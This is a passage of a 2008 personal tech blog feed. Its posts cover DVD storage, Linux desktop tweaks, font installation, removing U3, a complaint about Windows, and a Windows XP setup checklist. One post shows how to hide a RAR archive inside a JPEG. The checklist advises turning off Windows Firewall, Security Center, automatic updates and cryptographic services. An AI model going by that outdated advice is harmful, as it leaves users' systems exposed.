&lt;p&gt;Now that you know a little bit about which media to use, why you shouldn&amp;rsquo;t label them, and why burned DVDs scratch easier lets talk about how you should store them.  The proper way to store a DVD for long periods of time is in a DVD case or jewel case.  This however is not very economical as these cost nearly as much as the DVD does.  I ended up going with the DVD wallet.  they hold around 200-500+ DVDs in each and you can get them for less than $20 on supermediastore.com.  I have to warn you though since storing in these cases can cause damage to the DVDs.  When compressed these wallets will &lt;a href=&#34;/wp-content/uploads/2008/02/imprinted-dvd-with-holes.jpg&#34;&gt;leave an imprint over time&lt;/a&gt; on the media causing them to skip.  I have even seen cheaper media have microsopic tears in the foil due to the weight and compression of the other DVDs in the wallet.  To overcome this you should always store your wallets standing up and never stack them or compress them in any way.&lt;/p&gt;

&lt;p&gt;Sometimes these wallets come with a flap to keep them from sliding out.  These flaps should be placed over the DVD at all times, as they will ruin the portion of the DVD that they touch.  A simple solution that I came up with to avoid the problem entirely is to just cut them off.&lt;/p&gt;

&lt;h3&gt;Organizing Your DVDs&lt;/h3&gt;

&lt;p&gt;There are many ways of organizing your DVDs ranging from simple to complex.  If you store your DVDs in a DVD wallet you can not really alphabetize them very easily.  Anytime you added a new DVD you would have to take out every single DVD and move them around.  One solution to this would be to make a reference system for your DVDs.  The reference system I came up with was in this format:&lt;/p&gt;

&lt;p&gt;Volume # - A-Z(repeating with AA) 1-4
V1 - A1, V1 - A2&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/02/organizing2.jpg&#34; alt=&#34;Organizing DVDs&#34; /&gt;&lt;/p&gt;

&lt;p&gt;You then could keep a simple alphabatized list on your computer with their respective reference code.  Anytime you need to watch a specific movie you would be able to find it immediately without thumbing through pages through endless DVD wallets.  You could even use the &lt;a href=&#34;http://www.cdr-zone.com/software/movie_database_tools/ant_movie_catalog.html&#34;&gt;Ant Movie Catalog&lt;/a&gt; to store your collection of movies.  This program will check &lt;a href=&#34;http://www.amazon.com&#34;&gt;amazon&lt;/a&gt; or &lt;a href=&#34;http://www.imdb.com&#34;&gt;imdb&lt;/a&gt; and store lists of actors, plots, genres and more.  This is helpful if you want to sort your movies by comedies, find all movies that you have that contain Tom Hanks in them, or find all movies that are G rated.&lt;/p&gt;

&lt;p&gt;Of course there are many types of DVD organization software.  Some are even web-based that are shareable amongst friends.  Some have a rental system built in so you can lend out your movies and get email alerts to remind you/them to return the DVDs.  To make cataloging easier some software will turn your webcam into a barcode reader to automatically detect the movie and download pertinent information regarding the show.&lt;/p&gt;

&lt;p&gt;I hope this guide has helped you in some way.  If you have any questions about any of the procedures or steps to creating a successful backup please let me know in the comments section below.  Also, with this guide I attempted to cover all possible issues regarding backing up DVDs as well as share my experience of backing up over 600 DVDs.  I made a lot of &amp;ldquo;coasters&amp;rdquo; (worthless DVDs) in the process and hope to save you some time and frustration.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Changing the Default Gnome Menu Icon</title>
		<link href="https://www.marksanborn.net/linux/changing-the-default-gnome-menu-icon/index.html" />
		<updated>2008-01-31T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/changing-the-default-gnome-menu-icon/index.html</id>
		<content type="html">&lt;p&gt;Ok, after googleing and looking for answers I didn&amp;rsquo;t really find anything that worked for changing the default icon for Gnome.  Some articles suggested changing lines in gconf editor.  Some articles suggested changing about 5 different system icons and see which one works for you.  After my own trial an error I found depending on which version of Gnome you have there are different ways to go about this.&lt;/p&gt;

&lt;h3&gt;Changing the Default Gnome Menu Icon for Debian Etch (stable)&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Note: This method was tested on 2.14.3 version of Gnome.  For newer versions of Gnome the file you are looking for is in /usr/share/icons/THEMENAME/scaleable or /22x22/places.  See the next section.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The file we are looking for is called &lt;strong&gt;gnome-logo-icon-transparent.png&lt;/strong&gt;.  It is located in &lt;strong&gt;/usr/share/pixmaps/&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Rename the original just in case you want to use it again:
&lt;code&gt;mv gnome-logo-icon-transparent.png gnome-logo-icon-transparent.png.bak&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Move/rename the image of your choice to, &lt;strong&gt;gnome-logo-transparent.png&lt;/strong&gt;.  In this case I am making a copy of the debian logo and naming it.
&lt;code&gt;cp gnome-debian.png gnome-logo-icon-transparent.png&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Restart the gnome panel:
&lt;code&gt;killall gnome-panel&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;After you kill the gnome panel you should be greeted with another panel with the new logo in it as like in this example:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/debianlogognome.png&#34; alt=&#34;Changed Default Gnome Logo&#34; /&gt;&lt;/p&gt;

&lt;h3&gt;Changing the Default Gnome Menu Icon for Debian Lenny (testing)&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;Note: This method was tested on 2.20.3 version of Gnome.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The file we are looking for is called &lt;strong&gt;start-here.png&lt;/strong&gt;.  It is located in &lt;strong&gt;/usr/share/icons/THEMENAME/scaleable&lt;/strong&gt; or &lt;strong&gt;/22x22/places&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;Changing the Default Gnome Menu Icon for Ubuntu&lt;/h3&gt;

&lt;p&gt;The place to change the Ubuntu icon for Ubuntu 7.10 (Gutsy) is:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;/usr/share/icons/Tango/scalable/places/start-here.svg&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thanks GregR for the verification on this one.  Also if there are any other distributions that you have had luck with changing the default Gnome icon please let me know.  As I switch distributions around I will continue to update this page for more instructions on how to change the default Gnome icon for each distribution.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Installing Microsoft Fonts (msttcorefonts) on Debian Linux</title>
		<link href="https://www.marksanborn.net/linux/installing-microsoft-fonts-msttcorefonts-on-debian-linux/index.html" />
		<updated>2008-01-29T00:00:00Z</updated>
		<id>https://www.marksanborn.net/linux/installing-microsoft-fonts-msttcorefonts-on-debian-linux/index.html</id>
		<content type="html">&lt;p&gt;Sometimes when moving to the linux world we miss a few things that windows had to offer.  A lot of times it is because we simply got used to them.  Microsoft&amp;rsquo;s true type fonts are one of those things.  Besides just the comfortability factor the other reason to install the MS true type fonts is for better internet browsing.  Often times web designers forget to check what their pages look like in Linux with Linux&amp;rsquo;s default font package sometimes leading to some weird results.  Since Microsoft has released these fonts for free we might as well save the headache and just install them.&lt;/p&gt;

&lt;p&gt;Since Debian Linux is best known for only bundling completely free and open source software with their distribution we need to change a few things to allow other software to be installed.&lt;/p&gt;

&lt;p&gt;You need to add two words in your /etc/apt/sources.list file.  Those words are, &lt;strong&gt;non-free&lt;/strong&gt; and &lt;strong&gt;contrib&lt;/strong&gt;. Open &lt;strong&gt;/etc/apt/sources&lt;/strong&gt; as root.&lt;/p&gt;

&lt;p&gt;Find the following lines:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;deb http://ftp.debian.org/debian/ etch main
deb-src http://ftp.debian.org/debian/ etch main
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;and make them look like this:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;deb http://ftp.debian.org/debian/ etch main non-free contrib
deb-src http://ftp.debian.org/debian/ etch main non-free contrib
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You may also want to add contrib to your security updates if it isn&amp;rsquo;t already.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;deb http://security.debian.org/ etch/updates main contrib
deb-src http://security.debian.org/ etch/updates main contrib
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;In order for apt to understand the new changes we must update it:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get update
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Install the package with:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;apt-get install msttcorefonts
&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;For those of you using Ubuntu, the steps are essentially the same.&lt;/p&gt;

&lt;p&gt;All done!  Now you can enjoy websites and other things in those Microsoft fonts that you have learned to love.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Weekend Link Roundup : Week 2</title>
		<link href="https://www.marksanborn.net/links/weekend-link-roundup-week-2/index.html" />
		<updated>2008-01-26T00:00:00Z</updated>
		<id>https://www.marksanborn.net/links/weekend-link-roundup-week-2/index.html</id>
		<content type="html">&lt;p&gt;&lt;a href=&#34;http://ubuntufonts.blogspot.com/2007/12/top-20-linux-apps-for-2007.html&#34;&gt;Top 20 Linux Apps for 2007&lt;/a&gt; - A great list of Linux apps you might need.  I personally don&amp;rsquo;t like Amarok, but that is because I don&amp;rsquo;t like a &amp;ldquo;media managment&amp;rdquo; type music player.  I like the simple playlist random play style.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://forums.remote-exploit.org/showthread.php?p=56678#post56678&#34;&gt;BackTrack 3 Beta Just Released&lt;/a&gt; - My favorite Linux security distribution is now in version 3.  I can&amp;rsquo;t wait to try this out.  The previous releases have been the best security distros I have used.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.howtoforge.com/access-linux-partitions-from-windows&#34;&gt;3 Ways To Access Linux Partitions (ext2/ext3) From Windows&lt;/a&gt; - If you dual boot with Linux you probably have a need to read/write to Linux hard drives from within windows.  I was thinking about writing this same article on my blog but I noticed it was recently written so here is a link.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://gizmodo.com/348437/microsoft-says-vista-more-secure-than-xp-osx-and-linux&#34;&gt;Microsoft Says Vista More Secure Than XP, OSX and Linux&lt;/a&gt; - This one is actually funny, Microsoft claims their Visa OS is more secure than Linux and OSX.  Remember last time Bill bragged about the security of his OS?  A hacker found a vulnerability the very next day.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.msu.edu/~karjalae/internet96.htm?hoho&#34;&gt;Internet &amp;lsquo;96&lt;/a&gt; - A nice article taking us back in time.  What did the web look like in 1996?  Kind of looks like the websites I made in the 7th grade.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.phazm.com/notes/easy-as-pie/easy-as-pie-working-with-databases/&#34;&gt;Easy as Pie - Working with a Database&lt;/a&gt; - If you are new to MySQL or would like to give it a shot this article has the basics.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.colourlovers.com/blog/2008/01/16/free-advanced-dhtml-color-picker/&#34;&gt;Free Advanced DHTML Color Picker&lt;/a&gt; - For the webdesigners, this looks like a nice DHTML color chooser.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.sheepfriends.com/?page=billy&#34;&gt;Billy is a lightweighted no nonsense audio player&lt;/a&gt; - So weighing in at 665kb, Billy is the lightest weight media player that I have ever seen that functions exactly the way want it to.  With intuitive hotkeys and no nonsense bloat I have to recommend you try this out.&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Hiding a Compressed RAR File in a JPEG</title>
		<link href="https://www.marksanborn.net/howto/hiding-a-compressed-rar-file-in-a-jpeg/index.html" />
		<updated>2008-01-22T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/hiding-a-compressed-rar-file-in-a-jpeg/index.html</id>
		<content type="html">&lt;p&gt;OK, ever want to send a file to someone in a very sneaky way?  Or want to files on your sever cleverly disguised as a jpeg?  Here is a way for you to bind these files in windows so that it looks like a normal jpeg image.  If you open it by means of a double click, it will open in your default image viewer.  If however, you open the jpeg with WinRAR the file will act as a compressed archive!&lt;/p&gt;

&lt;p&gt;To do this follow these steps:&lt;/p&gt;

&lt;p&gt;Place the image in c:.  Then place the .rar file that you want to bind with the the image in the same directory.&lt;/p&gt;

&lt;p&gt;Open up the command line by clicking, &lt;strong&gt;start&lt;/strong&gt;, &lt;strong&gt;run&lt;/strong&gt;, then type &lt;strong&gt;cmd&lt;/strong&gt;, press enter.&lt;/p&gt;

&lt;p&gt;Navigate to the c:\ by typing, `*&lt;em&gt;cd c:*&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Type &lt;strong&gt;copy /b nameofimage.jpg + nameofrar.rar chooseanewname.jpg&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The command above will produce a file with the name of your choosing.  The resulting jpg image will have the rar file binded to it.  To windows this image looks like any other image.  To WinRAR it it is a compressed archive file.&lt;/p&gt;

&lt;p&gt;The following image was made using this process and has a secret rar file attached:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/top-secret2.jpg&#34; alt=&#34;JPEG Rar Binding&#34; /&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Removing U3 on Sandisk Flash Drives</title>
		<link href="https://www.marksanborn.net/howto/removing-u3-on-sandisk-flash-drives/index.html" />
		<updated>2008-01-21T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/removing-u3-on-sandisk-flash-drives/index.html</id>
		<content type="html">&lt;p&gt;Recently I purchased a Sandisk Cruzer micro 4GB flash drive which I use for storing some of my favorite applications and files.  Immediately after using it for the first time it came up with this annoying interface that was geared towards Windows only.  Knowing that I hate any software that excludes other operating systems.  I tried formatting the drive in Linux and Windows only to find the U3 program was still there taking up space and annoying the hell out of me.  After doing some searching I found that you can remove the U3 software that comes bundled.  When I heard this news I was thrilled.&lt;/p&gt;

&lt;p&gt;Here is a screenshot of the U3 interface:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/u3.JPG&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;For those of you that can&amp;rsquo;t stand the U3 interface here is the URL for the removal tool.&lt;/p&gt;

&lt;p&gt;Caution: It is to my understanding that once it is removed you can not install it again.  You can however install &lt;a href=&#34;http://sourceforge.net/projects/portableapps&#34;&gt;ProtableApps&lt;/a&gt; from sourceforge for an opensource alternative to U3.&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.sandisk.com/Assets/u3/launchpadremoval.exe&#34;&gt;Sandisk Removal Tool&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/u3-1.JPG&#34; alt=&#34;U3 Removal 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/u3-2.JPG&#34; alt=&#34;U3 Removal 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/u3-3.JPG&#34; alt=&#34;U3 Removal 3&#34; /&gt;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>10 Reasons Why I Hate Microsoft Windows</title>
		<link href="https://www.marksanborn.net/software/10-reasons-why-i-hate-microsoft-windows/index.html" />
		<updated>2008-01-18T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/10-reasons-why-i-hate-microsoft-windows/index.html</id>
		<content type="html">&lt;p&gt;Ok, here is my 10 reasons why I have Mircorosft Windows in no particular order and my suggestions on how to cope with them.  Now don&amp;rsquo;t get me wrong I like windows for playing my games.  I do use Linux as my main operating system; however, it is inconvenient to reboot into windows just to play games.  So, sometimes I find myself using windows for weeks at a time.  Out of my recent frustrations I thought I would post my top reasons for hating windows.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1.     It rots faster than a jug of milk left in a hot car.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/dairy-company.jpg&#34; alt=&#34;Chunk Milk&#34; /&gt;&lt;/p&gt;

&lt;p&gt;If you are not formatting/re-imaging windows AT LEAST once every 6 months I would guess your computer is running at about 50% efficiency.  For most people that are infected with spyware/malware you are probably running at about 10% efficiency.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I suggest making an image of your computer after you install windows and configure it to your needs so you can restore it whenever you can without a big hassle.  Of course this means you need to save your files on a partition/harddrive other than the one Windows resides on.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2.     Windows deceives the user and tries to hide the truth to &amp;ldquo;protect/help&amp;rdquo; the user.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;/wp-content/uploads/2008/01/tf2_spy.gif&#34; alt=&#34;TF2 Spy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;The first example of this is the My Documents, My Pictures, etc&amp;hellip; They make a folder on the start menu or in My Computer.  Most users don&amp;rsquo;t even know where their files are being stored they just know that they can save them in &amp;ldquo;My Documents&amp;rdquo;.  I guess Microsoft is trying to help computer users be more organized by making folders for them but they are only confusing them.  The downside to this is most people have all their files and data on the same harddrive/partition as the OS (Windows).  This makes it harder to format every 6 months because you have to move them out of there.  Wanna know what is really lame? Try removing My Documents&amp;hellip; it can&amp;rsquo;t be done very easily and almost every program tries to force you to save your files there.&lt;/p&gt;

&lt;p&gt;Another example of this is hiding file extensions.  I guess they are trying to help the user by hiding it so they don&amp;rsquo;t get confused and don&amp;rsquo;t have to worry about renaming off the extension.  Problem is that a lot of users don&amp;rsquo;t know about the extension and open exes/viruses.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I suggest saving your files on another drive/partition.  The option to show file extensions are in the folder options under &amp;lsquo;view&amp;rsquo;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3.     It has such a monopoly that game developers won&amp;rsquo;t code for other operating systems&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4.     You can&amp;rsquo;t uninstall Internet Explorer completely.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install &lt;a href=&#34;http://www.mozilla.com/en-US/firefox/&#34;&gt;Firefox&lt;/a&gt; or &lt;a href=&#34;http://www.opera.com/&#34;&gt;Opera&lt;/a&gt;.  I currently favor Opera over Firefox since it is most compatible with web standards according to the &lt;a href=&#34;http://www.webstandards.org/action/acid2/&#34;&gt;acid2 test&lt;/a&gt;, the Fastest browser, the most secure, and also made in one of my favorite countries, Norway.&lt;/strong&gt;
**
5.     They don&amp;rsquo;t play nice with the other kids.  Windows is notorious for not providing support for networking with other operating systems.**&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6.     All the default software that comes with Windows is bloated or unnecessary.&lt;/strong&gt;  An example of this would be Windows Media Player vs. Media player classic or VLC.  I spend about 30 minutes after each fresh install of Windows XP just removing unnecessary programs and &lt;a href=&#34;/howto/turn-off-unnecessary-windows-services/&#34;&gt;services&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7.     It never activates by itself over the internet.&lt;/strong&gt;  I always have to call into to activate my windows software.  The automated telephone service never activates it but the guy on the phone will activate it without asking me a single question about its legitimacy.  This makes absolutely no sense to me.  I waste about 15 mintues of my time every time I have to call in to Microsoft and sense I have to format every 6 months this is extremely annoying.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To bypass this headache I have resorted to making a ghost image of a clean install of XP.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8.     Windows can&amp;rsquo;t delete a file that is in use (and sometimes can&amp;rsquo;t copy it).&lt;/strong&gt;  This is absolute blasphemy.  Linux has been able to do this for years.  Ever try copying over your/someone else&amp;rsquo;s 20gb+ My Documents?  You start the copy then leave the computer for an hour or so only to come back and find a nice error that says it failed to copy a file.  Thats nice and all but you didn&amp;rsquo;t have to stop in the middle of transferring all the OTHER files.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Thankfully there are programs out there that &lt;a href=&#34;http://www.ruahine.com/ycopy-file-copy-utility.html&#34;&gt;solve this problem&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;End task doesn&amp;rsquo;t do anything (most of the time).  Ever try to end a task in windows only to find yourself hitting the end task button a thousand times realizing the only way to end the task is to restart?  When I was a Windows only user I thought this was normal.  I thought sometimes things just go wrong and there is no way to end the program/processes without a good old fashion restart.  When I was introduced to Linux I was amazed that their version of &amp;ldquo;end task&amp;rdquo; actually worked and was immediate.  It is simple when you end a task in Linux it is gone instantly.  Unfortunately I believe this has to do more with the way the core operating system works and I haven&amp;rsquo;t found a fix for this annoying problem in Windows.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Every time a windows programs crashes it wants to send a useless report to Microsoft.  Thankfully this is one of the &lt;a href=&#34;/software/what-to-do-after-a-fresh-install-of-windows-xp/&#34;&gt;things I disable after a fresh format&lt;/a&gt;.  To disable it go to start &amp;gt; run &amp;gt; type services.msc then find error reporting and disable it.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Why do you hate (love) Windows?&amp;hellip;&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>What to do After a Fresh Install of Windows XP</title>
		<link href="https://www.marksanborn.net/software/what-to-do-after-a-fresh-install-of-windows-xp/index.html" />
		<updated>2008-01-15T00:00:00Z</updated>
		<id>https://www.marksanborn.net/software/what-to-do-after-a-fresh-install-of-windows-xp/index.html</id>
		<content type="html">&lt;p&gt;What do you do after a fresh install of Windows XP?  Certainly there needs to be some things that have to be setup before you can actually use the internet.  There are programs to be installed, configurations to be done and preferences to set.  Here is my list of things I do after a fresh install of Windows XP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Make sure I have Windows SP2 installed before configuring my internet connection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There are many exploits that worms/viruses can take advantage of pre SP2.  I have seen computers get infected with viruses within minutes of being plugged into a network.  For this reason, I like to have SP2 on a CD or slipstreamed into Windows XP &lt;strong&gt;before&lt;/strong&gt; I configure my internet connection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install drivers for network card/motherboard&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In order to hook your computer up to the internet you will usually need drivers for your network card/modem.  Usually these devices are on your motherboard.  Typically motherboards come with a CD including the drivers you need.  If you have misplaced the CD you can use another computer to download the drivers from your manufacturer&amp;rsquo;s website and transfer them to your computer you are formatting.&lt;/p&gt;

&lt;p&gt;Download &lt;a href=&#34;http://www.nvidia.com/Download/index.aspx?lang=en-us&#34;&gt;latest video drivers from Nvidia&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Setup internet connection&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Setup your internet connection.  This may mean you need to simply plug it in or change your IP address and other settings.  This is usually different for everyone.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Uninstall useless programs that come with Windows XP&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Windows Media Player (replace with &lt;a href=&#34;http://sourceforge.net/projects/guliverkli/&#34;&gt;Media Player Classic&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;MSN Messenger (replace with nothing, or &lt;a href=&#34;http://www.pidgin.im/&#34;&gt;Pidgin&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Windows Messenger (replace with nothing)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;a href=&#34;/software/bloatware-replace-slow-software-with-faster-alternatives/&#34;&gt;This post&lt;/a&gt; has more information about useless software&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Install Antivirus&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I have used almost every form of antivirus and/or observed them on 1000&amp;rsquo;s of computers when I worked for the university.  In my experience &lt;a href=&#34;http://www.eset.com/&#34;&gt;NOD32&lt;/a&gt; was consistently the best and probably still is.  If you find a report that can prove this wrong I would love to see it; however, many of the antivirus comparison reports are bias.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install Everyday Software&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Install &lt;a href=&#34;http://www.foxitsoftware.com/pdf/rd_intro.php&#34;&gt;Foxit PDF Reader&lt;/a&gt; - Sadly, this is far superior to Adobe Acrobat Reader
Download and install latest version of &lt;a href=&#34;http://www.opera.com/&#34;&gt;Opera&lt;/a&gt;
Install &lt;a href=&#34;http://sourceforge.net/projects/guliverkli/&#34;&gt;Media Player Classic&lt;/a&gt;
Install &lt;a href=&#34;http://oldversion.com/program.php?n=winamp&#34;&gt;Winamp Version 2.91&lt;/a&gt; (It is critical to get this version for speed and usability)
Install &lt;a href=&#34;http://www.rarlabs.com&#34;&gt;WinRAR&lt;/a&gt; (I like this better than 7zip)
Install &lt;a href=&#34;http://filezilla-project.org/&#34;&gt;Filezilla&lt;/a&gt;
Install and use &lt;a href=&#34;http://www.kessels.com/JkDefrag/&#34;&gt;JKDefra&lt;/a&gt;g  (Great Defrag utility)
Install &lt;a href=&#34;http://sourceforge.net/projects/ffdshow&#34;&gt;ffdshow&lt;/a&gt; (divx and other files)
Install &lt;a href=&#34;http://www.openoffice.org/&#34;&gt;Openoffice&lt;/a&gt; or MS Office&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Configure your Browser&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I usually need to change a few settings in my browser before I can use it.  Here are some of the things things I tend to change.  You may have other preferences and/or browser extensions that you use.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Change default home page to &lt;a href=&#34;http://www.google.com&#34;&gt;http://www.google.com&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Change history and privacy settings&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Turn off all remember passwords check boxes&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Change power settings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you are using a laptop or just trying to save some power you should check out these settings.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Change the way Windows Explorer Behaves&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Show hidden files&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Unhide file extensions&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Show administrator tools on start menu&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;View by &amp;lsquo;list view&amp;rsquo; and then apply to all folders.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Optimize Windows XP for Maximum Speed&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Turn on fast minimize/maximize&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Disable hard drive indexing&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Disable System Restore&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Disable startup and shutdown sounds&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Disable &lt;a href=&#34;/howto/turn-off-unnecessary-windows-services/&#34;&gt;useless windows services&lt;/a&gt;. Here are a few I usually disable immediately:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Disable security center (This is the FIRST to go.  I can&amp;rsquo;t stand it)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Error reporting&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Wireless Zero config (if I am not using wireless at the moment)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Remote Registry&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Automatic updates
(I update manually)&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Background intelligent transfer&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Cryptographic services&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Windows Firewall (most computers are behind a router and windows firewall sucks anyways)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Miscellaneous Stuff&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Delete unused Windows usernames&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Map network drives if applicable&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Map network printers if applicable&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Ghost the fresh install with configurations and preferences so I only have to do this once.&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;Run JKDefrag&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So&amp;hellip; what do &lt;strong&gt;you&lt;/strong&gt; do after a fresh install?&lt;/p&gt;
</content>
	</entry>
	
	<entry>
		<title>Verify What you Download by Calculating MD5 Sums in Windows</title>
		<link href="https://www.marksanborn.net/howto/verify-what-you-download-by-calculating-md5-sums-in-windows/index.html" />
		<updated>2008-01-08T00:00:00Z</updated>
		<id>https://www.marksanborn.net/howto/verify-what-you-download-by-calculating-md5-sums-in-windows/index.html</id>
